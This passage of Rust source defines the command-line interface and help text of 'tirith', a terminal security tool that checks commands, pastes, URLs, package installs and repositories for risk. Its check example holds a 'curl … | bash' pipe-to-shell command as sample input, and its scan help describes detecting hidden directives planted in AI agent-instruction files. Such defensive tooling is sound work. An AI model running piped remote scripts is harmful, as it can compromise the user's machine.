  Arguments after `--` execute directly with their original boundaries. To use
  shell syntax such as a pipeline or redirect, pass the complete expression as
  one quoted argument.

Examples:
  tirith watch -- npm install left-pad
  tirith watch -- \"npm test | tee test.log\"
  tirith watch --paths ~/.config -- ./install.sh
  tirith watch --with-net-hints -- pip install requests
  tirith watch --json -- cargo build";

/// Shared help text for `tirith temp-run` (and its hidden `sandbox-dir`
/// alias). The honesty banner here is the SAME wording carried by the human
/// output banner, the JSON `disclaimer` field, and `docs/threat-model.md` —
/// pinned together by `help_snapshots.rs::help_temp_run`.
const TEMP_RUN_AFTER_HELP: &str = "\
FILE ISOLATION ONLY; NOT A SANDBOX.
  The command runs with full user privileges and can read your keychain, ssh
  keys, AWS creds, and the network. Use this for filesystem-impact preview
  ONLY. The ONLY thing temp-run changes is the working directory: the command
  starts in a fresh mkdtemp dir, so files it WRITES land there instead of your
  tree, and you get a diff of what it touched. Runtime sandboxing is an explicit
  tirith non-goal (see docs/threat-model.md) — temp-run is a file-isolation
  workflow, not a containment boundary.

What this does:
  mkdtemp → (optionally seed) → run the command there → diff the temp dir for
  new / modified files → prompt to delete or keep (default keep + print the
  path when non-interactive).

  Arguments after `--` are executed directly as program + argv. They are never
  joined and reparsed by an implicit shell. To request shell syntax explicitly,
  name the shell yourself: `/bin/sh -c '<command>'` on Unix or `cmd /C <command>`
  on Windows.

  --copy-repo   Seed the temp dir with a copy of the current repo, EXCLUDING
                .git/. Off by default (copying a large tree is slow); the
                default is an empty temp dir. Pure walkdir + fs::copy — no
                `cp --exclude` (GNU-only) dependency.
  --strip-env   Clear the child's environment and re-add only an allowlist
                (HOME, PATH, USER, LANG, TERM). A convenience knob, NOT secret
                scrubbing — a stripped env is still not a security boundary.
                Pure Command::env_clear() — no `env -i` (non-portable) shell-out.

Exit code:
  The watched command's own exit code (so `temp-run -- false` exits 1), except
  a usage error (2) or a setup/spawn failure (2). The filesystem diff is
  reported but never overrides the child's exit code.

JSON:
  Every --json envelope carries `\"isolation_kind\"`. Without `--capsule` it is
  `\"file_only_not_a_sandbox\"`, so a downstream consumer can never mistake plain
  temp-run for a security boundary. With `--capsule`, when an OS backend actually
  contains the run, it is `\"capsule_contained\"`; a degraded `--capsule` run that
  fell back to uncontained keeps the not-a-sandbox marker.

Examples:
  tirith temp-run -- ./script.sh
  tirith temp-run --copy-repo -- make build
  tirith temp-run --strip-env -- ./untrusted-installer.sh
  tirith temp-run --capsule -- ./untrusted-installer.sh
  tirith temp-run -- /bin/sh -c 'printf done > result.txt'
  tirith temp-run --json -- npm install left-pad";

#[derive(Clone, Copy, Debug, clap::ValueEnum)]
enum ShellReceiptChannelArg {
    Zsh,
    Fish,
    BashEnter,
    BashPreexec,
    #[value(name = "powershell")]
    PowerShell,
}

impl From<ShellReceiptChannelArg> for tirith_core::execution_state::ShellReceiptChannel {
    fn from(value: ShellReceiptChannelArg) -> Self {
        match value {
            ShellReceiptChannelArg::Zsh => Self::Zsh,
            ShellReceiptChannelArg::Fish => Self::Fish,
            ShellReceiptChannelArg::BashEnter => Self::BashEnter,
            ShellReceiptChannelArg::BashPreexec => Self::BashPreexec,
            ShellReceiptChannelArg::PowerShell => Self::PowerShell,
        }
    }
}

#[derive(Clone, Copy, Debug, clap::ValueEnum)]
enum ShellHookFamilyArg {
    Zsh,
    Fish,
    Bash,
}

impl From<ShellHookFamilyArg> for tirith_core::execution_state::ShellHookFamily {
    fn from(value: ShellHookFamilyArg) -> Self {
        match value {
            ShellHookFamilyArg::Zsh => Self::Zsh,
            ShellHookFamilyArg::Fish => Self::Fish,
            ShellHookFamilyArg::Bash => Self::Bash,
        }
    }
}

#[derive(Clone, Copy, Debug, clap::ValueEnum)]
enum ShellApprovalOutcomeArg {
    Granted,
    Rejected,
    TimedOut,
}

impl From<ShellApprovalOutcomeArg> for tirith_core::execution_state::ShellApprovalOutcome {
    fn from(value: ShellApprovalOutcomeArg) -> Self {
        match value {
            ShellApprovalOutcomeArg::Granted => Self::Granted,
            ShellApprovalOutcomeArg::Rejected => Self::Rejected,
            ShellApprovalOutcomeArg::TimedOut => Self::TimedOut,
        }
    }
}

#[derive(Subcommand)]
enum ExecutionReceiptAction {
    Capability,
    Register {
        #[arg(long, value_enum)]
        family: ShellHookFamilyArg,
        #[arg(long)]
        shell_pid: u32,
    },
    /// Protocol-v1 compatibility tombstone; never returns a bearer.
    NewInstance,
    /// Protocol-v2 compatibility tombstone. Protocol v3 arms inside `check` and
    /// never accepts caller-supplied approval or warning-acknowledgement facts.
    Arm {
        #[arg(long, value_enum)]
        channel: ShellReceiptChannelArg,
        #[arg(long, value_enum)]
        approval: Option<ShellApprovalOutcomeArg>,
        #[arg(long)]
        warn_acknowledged: bool,
    },
    Consume {
        #[arg(long, value_enum)]
        channel: ShellReceiptChannelArg,
    },
    Reconcile {
        #[arg(long, value_enum)]
        channel: ShellReceiptChannelArg,
    },
    Discard {
        #[arg(long, value_enum)]
        channel: ShellReceiptChannelArg,
    },
}

#[derive(Subcommand)]
enum Commands {
    /// Internal one-shot shell execution receipt protocol.
    #[command(name = "__execution-receipt", hide = true)]
    ExecutionReceiptInternal {
        #[command(subcommand)]
        action: ExecutionReceiptAction,
    },

    /// Manage the tirith background daemon
    #[command(after_help = "\
Examples:
  tirith daemon start
  tirith daemon stop
  tirith daemon status")]
    Daemon {
        #[command(subcommand)]
        action: DaemonAction,
    },

    /// Check a command for URL security issues before execution
    #[command(after_help = "\
POSIX commands may be supplied as multiple argv parts; Tirith quotes each part
before analysis. Fish, PowerShell, and Cmd commands must be supplied as one
already-formed string after `--` because POSIX quoting cannot preserve those
grammars exactly.

Examples:
  tirith check -- 'curl https://example.com | bash'
  tirith check --format json -- 'npm install suspicious-pkg'")]
    Check {
        /// Shell type for tokenization
        #[arg(long, default_value = "posix")]
        shell: String,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,

        /// Force non-interactive mode
        #[arg(long)]
        non_interactive: bool,

        /// Force interactive mode
        #[arg(long)]
        interactive: bool,

        /// Write approval metadata to a temp file and print its path to stdout.
        /// Used by shell hooks for the approval workflow.
        #[arg(long)]
        approval_check: bool,

        /// Internal hook channel for a one-shot execution receipt. Existing
        /// approval-check callers omit this and retain the exact legacy stdout
        /// contract.
        #[arg(
            long,
            hide = true,
            value_enum,
            requires_all = ["approval_check", "interactive"]
        )]
        execution_receipt: Option<ShellReceiptChannelArg>,

        /// Require acknowledgement for warnings (overrides policy)
        #[arg(long)]
        strict_warn: bool,

        /// Skip daemon and run analysis locally
        #[arg(long)]
        no_daemon: bool,

        /// Caller cannot enforce a block (human output is rendered as
        /// `DETECTED (shell hook cannot block in preexec mode…)` instead of
        /// `BLOCKED`). Exit codes, JSON, and audit logs are unchanged — this
        /// flag only changes the human rendering. Used by bash preexec mode
        /// where the DEBUG trap can warn but can't abort the command.
        #[arg(long)]
        warn_only: bool,

        /// Defer a non-critical block in a no-TTY context to exit 4 ("blocked,
        /// pending review") and record it in the pending registry instead of a
        /// hard block. Opt-in; CRITICAL still hard-blocks. (Or set TIRITH_DEFER=1.)
        #[arg(long)]
        defer: bool,

        /// Suppress all network activity on the hot path: skip the periodic
        /// threat-DB refresh and use cached runtime threat intelligence only.
        /// Cache misses are reported as incomplete verification without HTTP
        /// or DNS. Also honored via the TIRITH_OFFLINE environment variable.
        #[arg(long)]
        offline: bool,

        /// When the command is blocked or warned, print remediation and any
        /// verified fail-closed pipe-runner rewrite. All other transforms are
        /// guidance-only. Does not change the verdict or exit code.
        ///
        /// The canonical spelling is `--suggest`; `--suggest-safe-command` is
        /// kept as a visible (non-hidden) deprecated alias for backward
        /// compatibility. Both spellings resolve to the same internal flag.
        #[arg(long = "suggest", visible_alias = "suggest-safe-command")]
        suggest_safe_command: bool,

        /// Reference to a signed command card (M11 ch1) attesting to this
        /// command: a local path OR a URL. A URL is accepted but NEVER fetched on
        /// the hot path — it surfaces a "download this card first" hint (Info
        /// `command_card_unverified`) and is otherwise treated as if no card were
        /// present. A verified (local) card emits an Info `command_card_verified`
        /// finding but does NOT change the verdict (other findings still apply);
        /// a command that differs from the card emits a High
        /// `command_card_mismatch`. To verify a card hosted at a URL, download it
        /// to a local file first, then pass that path here. On Unix,
        /// `tirith command-card fetch <url>` does this download for you.
        #[arg(long)]
        card: Option<String>,

        /// The command to check. Fish, PowerShell, and Cmd require one
        /// already-formed string; multi-part reconstruction is POSIX-only.
        #[arg(allow_hyphen_values = true, trailing_var_arg = true)]
        cmd: Vec<String>,
    },

    /// Check pasted content for security issues
    #[command(after_help = "\
Examples:
  echo \"suspicious\" | tirith paste
  tirith paste --format json < clipboard.txt")]
    Paste {
        /// Shell type for tokenization
        #[arg(long, default_value = "posix")]
        shell: String,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,

        /// Force non-interactive mode
        #[arg(long)]
        non_interactive: bool,

        /// Force interactive mode
        #[arg(long)]
        interactive: bool,

        /// Path to clipboard HTML for rich-text paste analysis
        #[arg(long)]
        html: Option<String>,

        /// Attribute the paste to its clipboard source (M12 ch1). When the
        /// companion browser extension recorded a matching source, the --json
        /// output gains a top-level `clipboard_source` key with the source URL
        /// and title. Without the extension this is a graceful no-op.
        #[arg(long)]
        with_source: bool,
    },

    /// Inspect a remote script; live execution is Linux-only
    #[cfg(unix)]
    #[command(after_help = "\
Examples:
  tirith run https://get.example-tool.sh
  tirith run --capsule --script-stdin --interpreter bash https://example.com/install.sh
  tirith run --no-exec https://example.com/install.sh
  tirith run --sha256 abc123 https://example.com/install.sh")]
    Run {
        /// URL to inspect and, on Linux only, optionally execute
        url: String,

        /// Download and analyze only, don't execute
        #[arg(long)]
        no_exec: bool,

        /// Legacy compatibility spelling. Live execution is already contained by
        /// default and fails closed when required coverage is unavailable.
        #[arg(long)]
        capsule: bool,

        /// Preserve a pipe-to-shell interpreter selected by a verified safe
        /// suggestion. Requires --script-stdin; execution remains contained.
        #[arg(long, requires = "script_stdin")]
        interpreter: Option<tirith_core::runner::PipeInterpreter>,

        /// Feed reviewed bytes to the selected interpreter over stdin (Linux
        /// only). macOS refuses because it cannot guarantee complete descendant
        /// cleanup after setsid(); no fallback runs uncontained.
        #[arg(long, requires = "interpreter")]
        script_stdin: bool,

        /// Exact literal argument for the selected stdin interpreter. This
        /// narrow surface accepts only the runner's supported argv contract.
        #[arg(long, requires = "interpreter", allow_hyphen_values = true)]
        interpreter_arg: Vec<String>,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,

        /// Expected SHA-256 hash of the downloaded script (abort if mismatch)
        #[arg(long)]
        sha256: Option<String>,
    },

    /// Analyze and run a package install as a recorded transaction
    #[command(after_help = "\
A safe-install transaction: tirith analyzes an install's supply-chain risk
BEFORE running it, presents the verdict, records the transaction (a working-
directory checkpoint plus an audit entry), then runs the real install only
after the analysis and your go-ahead.

This is pre-execution install-RISK ANALYSIS plus a recorded transaction. Real
package-manager installs (`npm`, `pip`, `cargo`, and others) are not sandboxed;
on x86_64 Linux, use `tirith pkg install` for the enforcing package firewall.
Other platforms and architectures refuse that enforcing execution. The `url`
form is different: reviewed scripts execute contained by default and fail closed
when the Linux capsule cannot provide the required coverage.

The package(s) are scored with the deterministic `tirith package risk`
engine, the install command with the install-command rules, and any URL with
the URL analysis. A block refuses (bypass per policy); a warn requires
acknowledgement; an allow proceeds. Offline by default — `--online` adds
registry-API provenance signals; `--offline` / TIRITH_OFFLINE forces offline.

Backends (M6 ch1): npm, pip, cargo, apt, brew, dnf, yum, pacman, scoop,
docker, go, url. Today only npm / pip / cargo have a registry adapter wired
in, so `--online` provenance signals are available for those three only;
apt / brew / dnf / yum / pacman / scoop / docker / go ship command-complete
but signal-weak — analysis relies on the threat-DB name match and the
command-shape rules. A banner on every invocation says so plainly.

Privilege escalation: apt / dnf / yum typically need root (`sudo apt-get
install -y foo`). tirith does NOT auto-insert sudo — silent escalation would
be a surprise-execution footgun. Run the command itself with sudo when
required.

OS gating: scoop is Windows-only at the real-run step (the `--no-exec`
dry-run path still works on every OS, so review-on-Mac is fine).

tirith's own flags (--online, --offline, --no-exec, --yes, --format, --sha256)
go BEFORE the <source>; everything AFTER the source is passed verbatim to the
package manager (so `--save-dev` reaches npm, not tirith).

Examples:
  tirith install npm left-pad
  tirith install --online pip requests
  tirith install --yes cargo ripgrep
  tirith install --no-exec npm some-pkg       # analyze only, do not install
  tirith install npm some-pkg --save-dev      # --save-dev is passed to npm
  tirith install apt nginx                    # M6 ch1: signal-weak banner
  tirith install brew ripgrep
  tirith install docker alpine:latest
  tirith install docker alpine@sha256:abcdef0123...
  tirith install go github.com/spf13/cobra@latest
  tirith install scoop neovim                 # --no-exec on non-Windows
  tirith install url https://get.example-tool.sh")]
    Install {
        /// What to install: npm, pip, cargo, apt, brew, dnf, yum, pacman,
        /// scoop, docker, go, or url. The distro/docker/go backends ship
        /// command-complete but signal-weak (no registry-API adapter); the
        /// CLI prints a banner saying so on every invocation.
        #[arg(value_enum)]
        source: cli::install::InstallSource,

        /// Packages and flags passed verbatim to the package manager (or the
        /// URL for the `url` form). tirith's own flags go before <source>.
        #[arg(allow_hyphen_values = true, trailing_var_arg = true)]
        args: Vec<String>,

        /// Also consult each package's registry API (npm / PyPI / crates.io)
        /// for provenance signals. Off by default; ignored under --offline.
        #[arg(long)]
        online: bool,

        /// Force offline analysis even if --online is passed. Also honored via
        /// the TIRITH_OFFLINE environment variable.
        #[arg(long)]
        offline: bool,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,

        /// Proceed past warnings without an interactive prompt
        #[arg(long)]
        yes: bool,

        /// Analyze and record only — do NOT run the real install
        #[arg(long)]
        no_exec: bool,

        /// Expected SHA-256 of the downloaded script (url form only)
        #[arg(long)]
        sha256: Option<String>,
    },

    /// Package firewall: resolve and inspect Python packages; on x86_64 Linux,
    /// install ONLY the verified bytes inside a containment capsule, with a
    /// tamper-evident receipt.
    #[command(after_help = "\
Examples:
  tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
  tirith pkg install pip requests==2.31.0 --target .tirith-pkg
  tirith pkg install pip flask --target .venv --yes
  tirith pkg verify-env --target .venv requests flask
  tirith pkg receipt list

`tirith pkg approve` native approval issuance and `tirith pkg install` enforcing
execution are supported only on x86_64 Linux. Other platforms and architectures
fail closed instead of issuing an approval that cannot be redeemed. `pkg
verify-env` remains a read-only verifier, and `tirith install` remains the
portable analysis path.")]
    Pkg {
        #[command(subcommand)]
        action: PkgAction,
    },

    /// Bind one source tree, one output tree, and one set of deployed routes
    /// into content-addressed, point-in-time receipts, signed when this
    /// installation has an audit key.
    #[command(after_help = "\
What it is:
  `attest build` hashes a source tree and an output tree into one deterministic
  digest each, plus the commit, dirty state, lockfile digests, policy hash, a
  REDACTED argv digest, and the per-file output manifest. `attest deployment`
  fetches manifest-listed routes from ONE https origin and binds the bytes that
  came back. The two verify- commands re-check what was bound.

What it is NOT:
  - not a reproducible-build claim: tirith does not run your build and cannot
    say the output came from the source;
  - not continuous monitoring: a deployment receipt describes the routes it
    fetched, at the moment it fetched them, and nothing else;
  - `attest verify-deployment` re-checks the DOCUMENT and does not re-fetch.
    Run `attest deployment` again to measure the site again.

This is a different command from `tirith pkg attest`, which binds PyPI publish
attestations for a wheel and is unaffected by anything here.

Exit codes (deliberately distinct from `tirith check`, which uses 3 for a warn
acknowledgement; per-command codes in tirith are not shared):
  0  clean     everything asked for was bound, or still matches
  1  mismatch  a bound tree or a fetched route no longer matches, a document
               failed its own integrity rules, or a target left the origin
  2  usage     a bad path, an unreadable receipt, or an invalid route map
  3  partial   something could not be measured: a cap, an unreadable tree, an
               unreachable, authenticated, or CDN-transformed route

Examples:
  tirith attest build --source . --output dist --out build.receipt.json
  tirith attest verify-build build.receipt.json --source . --output dist
  tirith attest deployment --build-receipt build.receipt.json --base-url https://app.example
  tirith attest verify-deployment deployment.receipt.json")]
    Attest {
        #[command(subcommand)]
        action: AttestAction,
    },

    /// Run adversarial training scenarios (experimental)
    #[command(after_help = "\
Examples:
  tirith lab
  tirith lab --filter powershell
  tirith lab --score
  tirith lab --non-interactive
  tirith lab --format json")]
    Lab {
        /// Filter scenarios by tag (e.g. 'powershell', 'pipe-to-shell')
        #[arg(long)]
        filter: Option<String>,

        /// Non-interactive: run all scenarios without prompting
        #[arg(long)]
        non_interactive: bool,

        /// Include a deterministic 0-100 risk score per scenario
        /// (Critical=100, High=75, Medium=50, Low=25, Info=5; max wins).
        #[arg(long)]
        score: bool,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Diagnostically assess an untrusted task envelope (preview).
    ///
    /// Reports what the envelope WOULD be allowed to do under the current
    /// policy. Executes nothing, fetches nothing, resolves no package, and
    /// writes nothing.
    Task {
        #[command(subcommand)]
        action: TaskAction,
    },

    /// Run an untrusted project inside a fail-closed OS containment capsule
    Capsule {
        #[command(subcommand)]
        action: CapsuleAction,
    },

    /// Score a URL for security risk
    #[command(after_help = "\
Examples:
  tirith score https://get.example-tool.sh
  tirith score --explain https://example.com
  tirith score --format json https://example.com")]
    Score {
        /// URL to score
        url: String,

        /// Show the full factor-by-factor breakdown of how the score was
        /// derived. Every factor is fixed and inspectable — the breakdown
        /// sums exactly to the final score, reproducible by hand.
        #[arg(long)]
        explain: bool,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Compare a URL against known-good patterns
    #[command(after_help = "\
Examples:
  tirith diff https://install.example-cli.dev
  tirith diff --format json https://install.example-cli.dev")]
    Diff {
        /// URL to analyze
        url: String,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show documentation for a detection rule
    #[command(
        after_help = "\
Examples:
  tirith explain --rule pipe_to_interpreter
  tirith explain --rule curl_pipe_shell --fix
  tirith explain --finding evt-abc:0
  tirith explain --list --category terminal",
        // ArgGroup gives `--rule`/`--finding` exact-one-of semantics; `--fix`
        // requires one of them and conflicts with `--list`.
        group = clap::ArgGroup::new("explain_target")
            .args(["rule", "finding"])
            .multiple(false)
            .required(false)
    )]
    Explain {
        /// Rule ID to explain (e.g., pipe_to_interpreter)
        #[arg(long, conflicts_with = "list")]
        rule: Option<String>,

        /// List all rules, optionally filtered by category
        #[arg(long)]
        list: bool,

        /// Filter --list by category (hostname, path, transport, terminal, command, etc.)
        #[arg(long, requires = "list")]
        category: Option<String>,

        /// Resolve a finding ID (format `<event_id>:<index>`) from the audit log to its rule, then explain it.
        #[arg(long, value_name = "FINDING_ID", conflicts_with = "list")]
        finding: Option<String>,

        /// Show only the rule's remediation ("what to do instead").
        /// Requires --rule or --finding; not valid with --list.
        #[arg(long, requires = "explain_target", conflicts_with = "list")]
        fix: bool,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Explain the last triggered rule
    #[command(after_help = "\
Examples:
  tirith why
  tirith why --format json")]
    Why {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Manage download receipts recorded by `tirith run`
    #[command(after_help = "\
Shows receipts for downloads performed via `tirith run` (URL, redirects,
SHA-256). Shell execution receipts are a separate store with no CLI viewer.

Examples:
  tirith receipt last
  tirith receipt list
  tirith receipt verify a1b2c3d4e5f6")]
    Receipt {
        #[command(subcommand)]
        action: ReceiptAction,
    },

    /// Manage file checkpoints for rollback (experimental)
    #[command(after_help = "\
Examples:
  tirith checkpoint create src/ Cargo.toml
  tirith checkpoint list
  tirith checkpoint restore <id>
  tirith checkpoint diff <id>
  tirith checkpoint purge")]
    Checkpoint {
        #[command(subcommand)]
        action: CheckpointAction,
    },

    /// Manage pending decisions (deferred, suppressed, restore)
    #[command(after_help = "\
Examples:
  tirith pending list
  tirith pending resolve <id> keep
  tirith pending export")]
    Pending {
        #[command(subcommand)]
        action: PendingAction,
    },

    /// Initialize tirith shell hooks
    #[command(after_help = "\
Examples:
  eval \"$(tirith init --shell zsh)\"
  eval \"$(tirith init --shell bash)\"
  tirith init --shell zsh --prompt-status   # opt-in PS1 / prompt snippet (M8 ch6)")]
    Init {
        /// Target shell (default: auto-detect)
        #[arg(long)]
        shell: Option<String>,
        /// Also append a prompt-substitution snippet so `tirith prompt-status
        /// --short` runs on every prompt redraw. Idempotent — repeated runs do
        /// not duplicate the snippet (managed by BEGIN/END markers).
        #[arg(long = "prompt-status", default_value_t = false)]
        prompt_status: bool,
    },

    /// Detect your environment and recommend a tirith setup
    #[command(
        after_help = "\
Scans the current repo for the signals that should shape your tirith setup —
shell, IDE configs (.cursor/.vscode), AI-config files (CLAUDE.md, .cursorrules,
AGENTS.md, .claude/, .cursor/rules/), package managers on PATH, lockfiles, a
.github/workflows CI pipeline, and MCP configs — then RECOMMENDS one of the
shipping policy templates (individual / ci-strict / ai-agent-heavy) and the
next steps to get protected.

Detection is read-only and never materializes hooks. --apply performs the
recommended SAFE steps (policy init, the init hook line) with per-step
confirmation on stdin; it refuses to act when run non-interactively (piped /
CI), printing what it WOULD do instead. The mode flags bias the recommendation:
--repo / --team / --ai-agent-heavy (mutually exclusive); omit them to auto-detect.

Examples:
  tirith onboard
  tirith onboard --json
  tirith onboard --ai-agent-heavy
  tirith onboard --apply",
        // ArgGroup (multiple=false) makes --repo/--team/--ai-agent-heavy
        // mutually exclusive; they collapse to one `mode` string downstream.
        group = clap::ArgGroup::new("onboard_mode")
            .args(["repo", "team", "ai_agent_heavy"])
            .multiple(false)
            .required(false)
    )]
    Onboard {
        /// Bias the recommendation toward a single-repo setup.
        #[arg(long)]
        repo: bool,
        /// Bias the recommendation toward a locked-down team / shared setup.
        #[arg(long)]
        team: bool,
        /// Bias the recommendation toward an AI-agent-heavy setup.
        #[arg(long = "ai-agent-heavy")]
        ai_agent_heavy: bool,
        /// Perform the recommended SAFE actions (with per-step stdin
        /// confirmation). Refuses to act when not an interactive terminal.
        ///
        /// Mutually exclusive with `--json`: `--apply` prints interactive prompts
        /// and may invoke `tirith init`, whose output would corrupt the JSON
        /// document. clap rejects the combination at parse time with a usage error
        /// (exit 2).
        // Internal: CodeRabbit M13 PR #132 R12-7 (kept out of `--help`).
        #[arg(long, conflicts_with = "json")]
        apply: bool,
        /// Emit the detection report + recommendation as JSON.
        #[arg(long, conflicts_with = "apply")]
        json: bool,
    },

    /// Local security dashboard: export an HTML report or serve it on loopback
    #[command(after_help = "\
Builds a LOCAL-ONLY security snapshot from your audit log (7-day window), policy,
threat DB, trust store, canaries, and shell-hook state, then either writes it as a
self-contained HTML file or serves it over a loopback-only HTTP server.

The report is built from user-controlled audit bytes, so EVERY interpolated value
is HTML-escaped — opening it can never execute pasted content. It makes NO network
calls and embeds NO external resources or tracking.

Subcommands:
  export [--out <path>]   write the HTML report.
                          default: <documents-dir>/tirith-dashboard-<date>.html
                          (<documents-dir> is your Documents folder, resolved per-OS)
                          --out .          -> ./dashboard.html
                          --out <dir>      -> <dir>/dashboard.html
                          --out <file>     -> exactly that file
  serve  [--port <p>]     serve the report on http://127.0.0.1:<port>/ (an OS
                          ephemeral port when --port is omitted), guarded by a
                          fresh in-memory token printed in the URL.

SECURITY: `serve` binds 127.0.0.1 ONLY (never 0.0.0.0). The token is random,
lives only in process memory (never written to disk/policy), and expires after
1 hour. Requests with a non-loopback Host header are refused 403 (DNS-rebinding
guard); a missing/wrong/expired token gets 401.

Examples:
  tirith dashboard export
  tirith dashboard export --out .
  tirith dashboard export --out /tmp/sec.html --json
  tirith dashboard serve
  tirith dashboard serve --port 8765")]
    Dashboard {
        #[command(subcommand)]
        action: DashboardAction,
    },

    /// Print a one-line shell-prompt status (M8 ch6).
    ///
    /// Designed to be invoked from `$PS1` / `$PROMPT` / `fish_prompt` on every
    /// redraw. Reads pre-cached protection / context / sudo / SSH state so
    /// the per-prompt overhead is ~10 ms total including binary startup
    /// (see `docs/prompt-integration.md`); the application work on a warm
    /// cache is well under 5 ms but the process spawn dominates.
    #[command(after_help = "\
Output forms:
  tirith prompt-status --short                # [tirith:guarded][aws:prod][kube:payments-prod]
  tirith prompt-status                         # tirith: guarded; aws: prod; kube: payments-prod
  tirith prompt-status --json                  # JSON envelope (stable schema_version=1)

Examples:
  tirith prompt-status --short
  tirith prompt-status --json
  PS1='$(TIRITH_STATUS=\"${TIRITH_STATUS:-}\" tirith prompt-status --short) '\"$PS1\"        # bash
  PROMPT='$(TIRITH_STATUS=\"${TIRITH_STATUS:-}\" tirith prompt-status --short) '\"$PROMPT\"  # zsh (after setopt PROMPT_SUBST)
  # The TIRITH_STATUS= prefix forwards the hook's non-exported status var to the child
  # (the ${VAR:-} form stays safe under `set -u`).

Cache:
  $XDG_RUNTIME_DIR/tirith/prompt-<uid>.cache (30s TTL).
  Falls back to state_dir() when XDG_RUNTIME_DIR is unset.
  Run `tirith context status` to force-refresh provider context.")]
    PromptStatus {
        /// Short bracketed form, intended for `$PS1` / `$PROMPT`.
        #[arg(long)]
        short: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show whether tirith is actively protecting this shell: protection mode,
    /// hook health, active policy + scope, and threat-DB freshness. Exits NON-ZERO
    /// when protection is provably reduced (warn-only, degraded, or no hook); exits
    /// 0 when actively blocking, or when a configured hook's live mode is not
    /// visible to an external check (run `tirith doctor` in your shell to confirm).
    Status {
        /// Output as JSON.
        #[arg(long)]
        json: bool,
    },

    /// Scan files for hidden content, config poisoning, and CI/repo supply-chain risk
    #[command(after_help = "\
Scans repository files for hidden/invisible content, AI-config poisoning, and
CI/repo supply-chain risks: unpinned GitHub Actions, the pull_request_target
trigger, curl|bash in workflow run steps, untrusted-input interpolation,
un-pinned Dockerfile base images, remote Terraform modules, untrusted Helm
chart repos, and dangerous package.json install scripts.

It also scans AI-relevant file types for content smuggled past a human
reviewer: hidden content in Jupyter notebooks (.ipynb) — invisible characters,
base64 blobs, hidden cells, suspicious outputs; hidden directives in AI
agent-instruction files (CLAUDE.md, AGENTS.md, .cursorrules) — HTML comments
and visually-hidden elements; and active or external content in SVG images —
embedded scripts, event handlers, remote references.

Examples:
  tirith scan ./
  tirith scan --ci --fail-on high ./
  tirith scan --format sarif ./ > results.sarif
  tirith scan --profile ci-hardening ./
  tirith scan --profile oss-maintainer ./

Built-in --profile values:
  ci-hardening    harden a CI/CD pipeline — every supply-chain check at full
                  strength, fail-on high
  ai-agent-repo   a repo an AI agent works in — keep injection/poisoning
                  findings, suppress low-value pinning-hygiene noise
  oss-maintainer  reviewing a contributed change — emphasize contributor-
                  controllable risk (script injection, dangerous triggers)")]
    Scan {
        /// Path to scan (directory or file)
        path: Option<String>,

        /// Scan a single file explicitly
        #[arg(long, conflicts_with = "path", conflicts_with = "stdin")]
        file: Option<String>,

        /// Read content from stdin
        #[arg(long, conflicts_with = "path", conflicts_with = "file")]
        stdin: bool,

        /// Exit non-zero in CI when findings meet threshold
        #[arg(long)]
        ci: bool,

        /// Severity threshold for CI failure
        #[arg(long, default_value = "critical")]
        fail_on: String,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonSarifFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format", conflicts_with = "sarif")]
        json: bool,
        /// Alias for --format sarif
        #[arg(long, hide = true, conflicts_with = "format", conflicts_with = "json")]
        sarif: bool,

        /// Patterns to ignore
        #[arg(long)]
        ignore: Vec<String>,

        /// Include only files matching these patterns
        #[arg(long)]
        include: Vec<String>,

        /// Exclude files matching these patterns (same as --ignore)
        #[arg(long)]
        exclude: Vec<String>,

        /// Scan profile: a built-in (ci-hardening, ai-agent-repo, oss-maintainer)
        /// or a named profile from policy (a policy profile of the same name wins)
        #[arg(long)]
        profile: Option<String>,
    },

    /// Check a URL for server-side cloaking, or download-and-keep with --save
    #[cfg(unix)]
    #[command(after_help = "\
Without --save: checks the URL for server-side cloaking (different content
served to bots vs browsers).

With --save <path>: downloads the URL to <path> (without executing it) and
marks that path TAINTED in the local taint store. A later `bash <path>` or
`source <path>` then fires the engine's tainted-file rule. This is the
download-and-keep half of `tirith run` — on Linux, live `run` execution uses a
fully sealed anonymous descriptor, so it never taints a stable path; `fetch
--save` keeps the file at a path YOU choose and taints exactly that path.

Examples:
  tirith fetch https://example.com/install.sh
  tirith fetch --format json https://example.com/install.sh
  tirith fetch --save ./install.sh https://untrusted.example/install.sh
  tirith fetch --save ./install.sh --sha256 abc123 https://untrusted.example/install.sh")]
    Fetch {
        /// URL to check for cloaking (or to download when --save is set)
        url: String,

        /// Download the URL to this path and mark it tainted (no execution)
        #[arg(long, value_name = "PATH")]
        save: Option<String>,

        /// With --save: expected SHA-256 of the download (abort on mismatch)
        #[arg(long, requires = "save")]
        sha256: Option<String>,

